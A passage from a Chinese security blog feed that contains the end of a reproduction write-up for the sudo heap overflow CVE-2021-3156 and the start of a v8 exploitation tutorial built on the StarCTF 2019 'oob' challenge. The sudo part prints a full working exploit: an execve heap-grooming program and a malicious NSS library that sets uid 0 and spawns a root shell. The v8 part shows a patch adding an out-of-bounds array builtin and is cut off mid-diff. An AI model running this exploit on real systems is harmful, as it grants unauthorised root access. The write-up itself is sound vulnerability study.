结构体也破坏了</p><p>实际情况下，在漏洞点之前会先后从堆上分配下面这些结构体：</p><pre class="line-numbers language-none"><code class="language-none">passwd(name_database_entry)files(service_user)systemd(service_user)group(name_database_entry)files(service_user)systemd(service_user)...<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>只要 user_args 位于 name_database_entry 和 service_user 之间，即可覆盖 service_user 而不会破坏 name_database_entry 了</p><h3 id="堆布局"><a href="#堆布局" class="headerlink" title="堆布局"></a>堆布局</h3><p>通过调试发现，在我的复现环境下，一般情况下 user_args 都位于 service_user 之后，根据目前公开的方式，利用程序开头的 setlocale 函数，对 <code>LC_MESSAGES</code>，<code>LC_ALL</code> 等环境变量，都会有多次的堆块分配与释放，影响堆块布局的情况，使得 user_args 分配时，得到的刚好是 setlocale 中 free 进 tcache 的 chunk，因为 setlocale 函数的调用在 service_user 等结构体分配之前，那么 user_args 就能分布在 service_user 结构体之前</p><p>比如，环境变量使用 <code>LC_ALL=C.UTF-8@AAAA</code>，<code>@</code> 字符后面的 <code>AAAA</code> 将会在 setlocale 里分配 chunk 进行存储，之后会释放</p><h3 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h3><p>经过多次测试，exp 如下，下面使用这个 exp 进行一下调试，说明为什么要这么写：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//exp.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MAX_ENVP</span> <span class="token expression"><span class="token number">0x1000</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">LC_ENV1</span> <span class="token string">"LC_ALL=C.UTF-8@"</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">LC_ENV2</span> <span class="token string">"LC_CTYPE=C.UTF-8@"</span></span><span class="token keyword">char</span> <span class="token operator">*</span>envp<span class="token punctuation">[</span>MAX_ENVP<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span> <span class="token keyword">const</span> argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>         <span class="token keyword">char</span> paddingA<span class="token punctuation">[</span><span class="token number">0x200</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span> <span class="token number">0</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token function">memset</span><span class="token punctuation">(</span>paddingA<span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span><span class="token number">0x190</span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        paddingA<span class="token punctuation">[</span><span class="token number">0x190</span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'\\'</span><span class="token punctuation">;</span>        <span class="token keyword">char</span> <span class="token operator">*</span>s_argv<span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span>                <span class="token string">"sudoedit"</span><span class="token punctuation">,</span> <span class="token string">"-s"</span><span class="token punctuation">,</span> paddingA<span class="token punctuation">,</span> <span class="token constant">NULL</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token keyword">int</span> envp_pos <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0xb10</span><span class="token operator">-</span><span class="token number">0x190</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"\\"</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0x30</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"\\"</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"x/i4oyu"</span><span class="token punctuation">;</span> <span class="token comment">//name</span>        envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"AAA"</span><span class="token punctuation">;</span>        <span class="token keyword">char</span> <span class="token operator">*</span>LC1 <span class="token operator">=</span> <span class="token function">calloc</span><span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">strcpy</span><span class="token punctuation">(</span>LC1<span class="token punctuation">,</span> LC_ENV1<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">memset</span><span class="token punctuation">(</span>LC1 <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>LC_ENV1<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">'X'</span><span class="token punctuation">,</span> <span class="token number">0xc0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">/*        char *LC2 = calloc(0x1000, 1);        strcpy(LC2, LC_ENV2);        memset(LC2 + sizeof(LC_ENV2) - 1, 'Y', 0x90);        */</span>        envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> LC1<span class="token punctuation">;</span>        <span class="token comment">//envp[envp_pos++] = LC2;</span>        envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>                                                                            <span class="token function">execve</span><span class="token punctuation">(</span><span class="token string">"/path/to/sudoedit"</span><span class="token punctuation">,</span> s_argv<span class="token punctuation">,</span> envp<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">//execve("/usr/bin/sudoedit", s_argv, envp);</span>        <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>首先看到这里</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>        <span class="token keyword">char</span> <span class="token operator">*</span>LC1 <span class="token operator">=</span> <span class="token function">calloc</span><span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">strcpy</span><span class="token punctuation">(</span>LC1<span class="token punctuation">,</span> LC_ENV1<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">memset</span><span class="token punctuation">(</span>LC1 <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>LC_ENV1<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">'X'</span><span class="token punctuation">,</span> <span class="token number">0xc0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>调试来到 user_args 分配前，查看 heap 情况，存储 0xc0 个 <code>X</code> 的 chunk 在这里：</p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-8.png" alt="heap"></p><p>同时也可以看到，这个 chunk 的大小并不是 0xc0，而是比 0xc0 要大得多的 0x1a0，和参考的一些文章的说法不太一样</p><p>同时可以看到这个 0x1a0 的 chunk 位于 name_database_entry 和 service_user 之间：</p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-9.png" alt="user_args_chunk"></p><p><strong>注意</strong>：实际上 <code>set_cmnd</code> 调用后，会从 group 的 name_database_entry 开始查找 service_user 结构体进行 <code>nss_load_library</code> 的调用，所以图中使用的是 group 的链</p><p>exp 这里的 0x190-2 就是为了控制命令行参数的长度，使得 user_args 的分配调用 <code>malloc(0x190)</code> 从而分配到上面提到的 chunk：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>        <span class="token keyword">char</span> paddingA<span class="token punctuation">[</span><span class="token number">0x200</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token function">memset</span><span class="token punctuation">(</span>paddingA<span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span><span class="token number">0x190</span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        paddingA<span class="token punctuation">[</span><span class="token number">0x190</span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'\\'</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>溢出点到要覆盖 service_user 的偏移为 +0xb10：</p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-10.png" alt="len"></p><p>命令行参数本身有 0x190-1 长的数据复制进了 to，那么只需要连续 <code>0xb10 - 0x190 + 1</code> 多的反斜杠即可连续写入 <code>\0</code>，直到目标 service_user 结构体，再继续覆写 0x30 长度的数据，即可到达 <code>name</code> 字段，这就是对下面这部分代码的解释：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>        <span class="token keyword">int</span> envp_pos <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0xb10</span><span class="token operator">-</span><span class="token number">0x190</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"\\"</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0x30</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"\\"</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"x/i4oyu"</span><span class="token punctuation">;</span> <span class="token comment">//name</span>        envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"AAA"</span><span class="token punctuation">;</span>   <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这里覆盖 <code>name</code> 为 <code>x/xi4oyu</code>，那么需要编译一个动态链接库 <code>libnss_x/xi4oyu.so.2</code> ，代码如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//mkdir libnss_x &amp;&amp; gcc -fPIC -shared -o 'libnss_x/i4oyu.so.2' xi4oyu.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token keyword">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>constructor<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token function">_init</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">_init</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[!!!] pwn!\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setuid</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>         <span class="token function">seteuid</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>         <span class="token function">setgid</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>         <span class="token function">setegid</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">static</span> <span class="token keyword">char</span> <span class="token operator">*</span>a_argv<span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span> <span class="token string">"sh"</span><span class="token punctuation">,</span> <span class="token constant">NULL</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token keyword">static</span> <span class="token keyword">char</span> <span class="token operator">*</span>a_envp<span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span> <span class="token string">"PATH=/bin:/usr/bin:/sbin"</span><span class="token punctuation">,</span> <span class="token constant">NULL</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token function">execv</span><span class="token punctuation">(</span><span class="token string">"/bin/sh"</span><span class="token punctuation">,</span> a_argv<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>利用成功！</p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-11.png" alt="pwn"></p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>堆布局的方式比较复杂，其中这一句：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">memset</span><span class="token punctuation">(</span>LC1 <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>LC_ENV1<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">'X'</span><span class="token punctuation">,</span> <span class="token number">0xc0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>至于 0xc0 这个值是怎么来的？本人是 <strong>从 0 开始间隔 0x10 递增</strong>，观察堆的情况，一步步地测出来的</p><p>目前公开的文章也并没有做一个很好的解释，具体怎么回事，还是得跟踪调试 setlocale 的每一次 malloc 和 free 的调用了，写得比较好的 exp 是 <a href="https://github.com/blasty/CVE-2021-3156">blasty</a> 的 exp，其中提供了一个爆破脚本，就是为了测出这个合适的值</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这是我接触的第一个 CVE，漏洞原理相对还是比较简单的，从中也学到了 <strong>NSS</strong> 这个十分有意思的机制</p><p>最近在学 v8 的漏洞利用，下一次复现的就是 v8 的 CVE 了，加油！</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit">https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit</a></li><li><a href="https://ama2in9.top/2021/02/04/cve-2021-3156/">https://ama2in9.top/2021/02/04/cve-2021-3156/</a></li><li><a href="https://mp.weixin.qq.com/s/zyeCBsLNRVdg2ckFnOXENg">https://mp.weixin.qq.com/s/zyeCBsLNRVdg2ckFnOXENg</a></li><li><a href="https://www.anquanke.com/post/id/231077">https://www.anquanke.com/post/id/231077</a></li><li><a href="https://www.jianshu.com/p/18f36f1342b3">https://www.jianshu.com/p/18f36f1342b3</a></li><li><a href="https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8">https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8</a></li><li><a href="https://github.com/blasty/CVE-2021-3156">https://github.com/blasty/CVE-2021-3156</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;CVE-2021-3156 sudo 提权漏洞，复现过程总结&lt;/p&gt;
    
    </summary>
    
    
      <category term="CVE" scheme="http://www.xi4oyu.top/categories/CVE/"/>
    
    
      <category term="sudo" scheme="http://www.xi4oyu.top/tags/sudo/"/>
    
  </entry>
  
  <entry>
    <title>v8 入门及 starctf-oob 复现</title>
    <link href="http://www.xi4oyu.top/3b546c3b/"/>
    <id>http://www.xi4oyu.top/3b546c3b/</id>
    <published>2021-02-26T13:46:00.000Z</published>
    <updated>2021-02-26T13:46:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>pwn v8 入门学习，以及 starctf-oob 题目的复现过程</p><span id="more"></span><h2 id="v8-环境搭建"><a href="#v8-环境搭建" class="headerlink" title="v8 环境搭建"></a>v8 环境搭建</h2><p>安装依赖</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> binutils python2.7 perl socat <span class="token function">git</span> build-essential gdb gdbserver<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>安装 depot_tools</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">git</span> clone https://chromium.googlesource.com/chromium/tools/depot_tools.git<span class="token builtin class-name">echo</span> <span class="token string">'export PATH=$PATH:"/path/to/depot_tools"'</span> <span class="token operator">>></span> ~/.bashrc<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>编译 ninja</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">git</span> clone https://github.com/ninja-build/ninja.git <span class="token builtin class-name">cd</span> ninja <span class="token operator">&amp;&amp;</span> ./configure.py --bootstrap<span class="token builtin class-name">echo</span> <span class="token string">'export PATH=$PATH:"/path/to/ninja"'</span> <span class="token operator">>></span> ~/.bashrc<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><h2 id="v8-编译步骤"><a href="#v8-编译步骤" class="headerlink" title="v8 编译步骤"></a>v8 编译步骤</h2><p>用 depot_tools 的工具拉取 v8 源码</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">fetch v8<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>随后，同步源码，然而 fetch 之后就是最新的了，这一步也不是必要的</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token builtin class-name">cd</span> v8 <span class="token operator">&amp;&amp;</span> gclient <span class="token function">sync</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>最后编译 v8</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">tools/dev/v8gen.py x64.debug <span class="token operator">&amp;&amp;</span> ninja -C out.gn/x64.debug <span class="token comment"># debug 版本</span>tools/dev/v8gen.py x64.release <span class="token operator">&amp;&amp;</span> ninja -C out.gn/x64.release <span class="token comment"># release 版本</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>编译完后，可用在 <code>out.gn/x64.debug</code> 里的 d8 来执行，调试 js 代码</p><h2 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h2><p>v8 提供了 gdb 的调试插件<br><img src="/images/3b546c3b/pasted-0.png" alt="gdb-v8-support"></p><p>添加到 gdbinit 脚本中</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token builtin class-name">source</span> /path_to_v8/tools/gdbinit<span class="token builtin class-name">source</span> /path_to_v8/tools/gdb-v8-support.py<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>写一个测试脚本，学习一下基本的调试</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">var</span> b <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">'a'</span><span class="token operator">:</span> <span class="token string">'asd'</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> c <span class="token operator">=</span> <span class="token punctuation">[</span>a<span class="token punctuation">,</span> b<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>运行 d8 加上 <code>--allow-natives-syntax</code> 参数，以支持 <code>%DebugPrint</code> 和 <code>%SystemBreak</code> 等</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">./d8 --allow-natives-syntax ./test.js<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>运行结果如下：<br><img src="/images/3b546c3b/pasted-2.png" alt="d8test"></p><p><code>%DebugPrint</code> 的功能是输出显示变量，对于对象，会将对象的地址显示出来，而 <code>%SystemBreak</code> 的作用是触发一个调试中断</p><p>现在用 gdb 来调试，<code>gdb ./d8</code></p><p>然后设置一下命令行参数 <code>set args --allow-natives-syntax ./test.js</code></p><p><code>run</code> 命令开始调试，可以看到，由于 <code>%SystemBreak</code>，程序暂停运行，并看到 <code>%DebugPrint(a)</code> 输出<br><img src="/images/3b546c3b/pasted-3.png" alt="dbgtest1"></p><p><code>c</code> 命令继续运行，可以看到对象的地址输出来了<br><img src="/images/3b546c3b/pasted-5.png" alt="dbgtest2"></p><p>这里附加说明一下，<strong>v8 里的对象地址，最低 bit 都是 1，减去 1 才是真实存储对象数据的起始地址</strong></p><p>由于 v8 提供的 gdb 插件，我们可以使用 <code>job</code> 命令来查看对象更详细的信息<br><img src="/images/3b546c3b/pasted-6.png" alt="dbgtest3"></p><p>先继续运行，来到第三处断点<br><img src="/images/3b546c3b/pasted-7.png" alt="dbgtest4"><br><img src="/images/3b546c3b/pasted-8.png" alt="dbgtest5"></p><p>这里简单讲讲 v8 对象的存储结构，主要有 map，prototype，elements，length，properties<br><img src="/images/3b546c3b/pasted-9.png" alt="dbgtest6"></p><p>map 用来表明对象的类型，elements 是一个对象指针，存储了数组的元素，length 就是数组的大小，properties 也是一个对象指针，存储了对象的属性</p><p>这里再使用 telescope 命令（pwndbg 插件）查看对象的内存布局<br><img src="/images/3b546c3b/pasted-10.png" alt="dbgtest7"></p><p>另一方面也看到了，length 整数值存储在高 32 位上</p><p>前面说了，elements 也是一个对象，同样可以使用 job 命令查看<br><img src="/images/3b546c3b/pasted-11.png" alt="dbgtest8"></p><h2 id="StarCTF-2019-oob-复现"><a href="#StarCTF-2019-oob-复现" class="headerlink" title="StarCTF 2019 oob 复现"></a>StarCTF 2019 oob 复现</h2><p>题目可以从这里下载：<a href="https://github.com/DayJun/Blogs/tree/master/Articles/starCTF-OOB">https://github.com/DayJun/Blogs/tree/master/Articles/starCTF-OOB</a></p><p>题目提供了一个 oob.diff 文件，并且 commit 是 <code>6dc88c191f5ecc5389dc26efa3ca0907faef3598</code></p><p>这里先根据 diff 文件 patch 源码</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">git</span> reset --hard  6dc88c191f5ecc5389dc26efa3ca0907faef3598<span class="token function">git</span> checkout<span class="token function">git</span> apply <span class="token operator">&lt;</span> /path_to_diff/oob.diff<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>这里要注意的是，这个题目，使用 debug 版编译，调试的时候有些问题，需要改用 release 模式编译</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">tools/dev/v8gen.py x64.release<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>但是为了使用 job 等调试命令，需要在 <code>out.gn/x64.release/args.gn</code> 文件加入以下内容：</p><pre class="line-numbers language-none"><code class="language-none">v8_enable_backtrace &#x3D; truev8_enable_disassembler &#x3D; truev8_enable_object_print &#x3D; truev8_enable_verify_heap &#x3D; true<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>然后编译即可</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">ninja -C out.gn/x64.release<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="oob-diff"><a href="#oob-diff" class="headerlink" title="oob.diff"></a>oob.diff</h3><p>接下来要分析题目给的 oob.diff 对 v8 源码做了什么修改，文件关键内容如下：</p><pre class="line-numbers language-none"><code class="language-none">...+    SimpleInstallFunction(isolate_, proto, &quot;oob&quot;,+                          Builtins::kArrayOob,2,false);...+BUILTIN(ArrayOob)&#123;+    uint32_t len &#x3D; args.length();+    if(len &gt; 2) return ReadOnlyRoots(isolate).undefined_value();+    Handle&lt;JSReceiver&gt; receiver;+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(+            isolate, receiver, Object::ToObject(isolate, args.receiver()));+    Handle&lt;JSArray&gt; array &#x3D; Handle&lt;JSArray&gt;::cast(receiver);+    FixedDoubleArray elements &#x3D; FixedDoubleArray::cast(array-&gt;elements());+    uint32_t length &#x3D; static_cast&lt;uint32_t&gt;(array-&gt;length()-&gt;Number());+    if(len &#x3D;&#x3D; 1)&#123;+        &#x2F;&#x2F;read+        return *(isolate-&gt;factory()-&gt;NewNumber(elements.get_scalar(length)));+    &#125;else&#123;+        &#x2F;&#x2F;write+        Handle&lt;Object&gt; value;+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(+                isolate, value, Object::ToNumber(isolate, args.at&lt;Object&gt;(1)));+        elements.set(length,value-&gt;Number());+        return 